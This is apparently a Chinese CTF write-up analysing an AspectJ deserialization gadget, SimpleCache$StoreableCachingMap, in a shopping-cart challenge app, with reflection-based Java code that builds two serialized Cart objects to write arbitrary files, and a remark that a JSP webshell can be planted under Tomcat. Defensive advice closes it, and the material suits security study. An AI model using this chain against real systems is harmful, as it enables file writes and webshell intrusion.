一道题看 aspectj 下的任意文件写
字数 1534 2025-08-09 19:33:17
AspectJ下的任意文件写入漏洞分析与利用
漏洞概述
本教学文档详细分析了一个基于AspectJ的Java反序列化漏洞,该漏洞可导致任意文件写入。漏洞存在于使用AspectJ缓存机制的应用程序中,通过精心构造的反序列化对象,攻击者可以利用SimpleCache$StoreableCachingMap的put方法实现任意文件写入。
环境搭建
-
项目导入:
- 将项目拖入IDEA
- 右键项目文件夹 -> Add Framework Support -> 选中Web Application
- 添加Tomcat Server并修改Application Context
-
项目地址:
- GitHub仓库:https://github.com/liey1/timu/blob/main/ciscn%20ezj4va.zip
漏洞分析
核心漏洞点
-
反序列化入口:
- 位于
Deserializer类 - 项目依赖中缺少常用反序列化链,但包含AspectJ
- 位于
-
关键类分析:
SimpleCache$StoreableCachingMap的put方法- 该方法可将数据写入指定路径的文件
-
调用链:
CartServiceImpl.addToCart方法- 第36行:
Cart cart = Serializer.deserialize(oldCartStr) - 使用反序列化后的对象进行操作
- 第36行:
CartController.add方法- 通过
/cart/add路由访问 oldCart来自cookie中的cart值skus通过参数传递
- 通过
利用条件
- 控制
skuDescribe字段 - 构造特定的
HashMap对象 - 控制
put方法的键和值参数
漏洞利用
利用步骤
-
构造恶意对象:
- 创建
Cart对象 - 通过反射设置
skuDescribe字段为StoreableCachingMap实例 - 指定写入路径(如
C:/test/)
- 创建
-
构造触发对象:
- 创建另一个
Cart对象 - 设置
skuDescribe为包含恶意内容的HashMap
- 创建另一个
-
发送请求:
- 将第一个对象序列化后放入cookie的
cart字段 - 将第二个对象序列化后URL编码作为
skus参数
- 将第一个对象序列化后放入cookie的
示例代码
@WebServlet(urlPatterns = ("/test"))
public class TestController extends HttpServlet {
protected String getSkus() {
try {
Cart cart = new Cart();
Field sku_f = cart.getClass().getDeclaredField("skuDescribe");
sku_f.setAccessible(true);
HashMap hashMap = new HashMap<>();
String values = "abc"; // 恶意内容
hashMap.put("test", values.getBytes());
sku_f.set(cart, hashMap);
return Serializer.serialize(cart);
} catch (Exception e) {
e.printStackTrace();
}
return "";
}
protected String getOldCart() {
try {
Cart cart = new Cart();
Field sku_f = cart.getClass().getDeclaredField("skuDescribe");
sku_f.setAccessible(true);
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object o = constructor.newInstance("C:/test/", 1); // 指定写入路径
sku_f.set(cart, o);
return Serializer.serialize(cart);
} catch (Exception e) {
e.printStackTrace();
}
return "";
}
}
实际利用
- 在Tomcat环境下,可直接写入JSP webshell
- 注意
put方法会将value强制转换为byte[] - 写入路径由
StoreableCachingMap构造函数的第一个参数指定
关键点总结
- 漏洞本质:通过反序列化控制
StoreableCachingMap的put方法实现任意文件写入 - 与CC链区别:不像CC链那样复杂,直接利用应用程序自身的功能
- 依赖关系:主要依赖题目自带的
addToCart函数实现利用 - 利用限制:需要控制两个序列化对象(cookie中的cart和参数中的skus)
防御建议
- 避免反序列化不可信数据
- 对
StoreableCachingMap的使用进行安全限制 - 实施输入验证和过滤
- 使用安全的序列化/反序列化机制
参考资源
- AspectJ相关知识点:https://www.cnblogs.com/sijidou/p/14631154.html
- ysoserial中的AspectJWeaver链:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java
通过本教学文档,读者可以全面了解该漏洞的原理、利用方法及防御措施,为Java反序列化安全研究提供有价值的参考。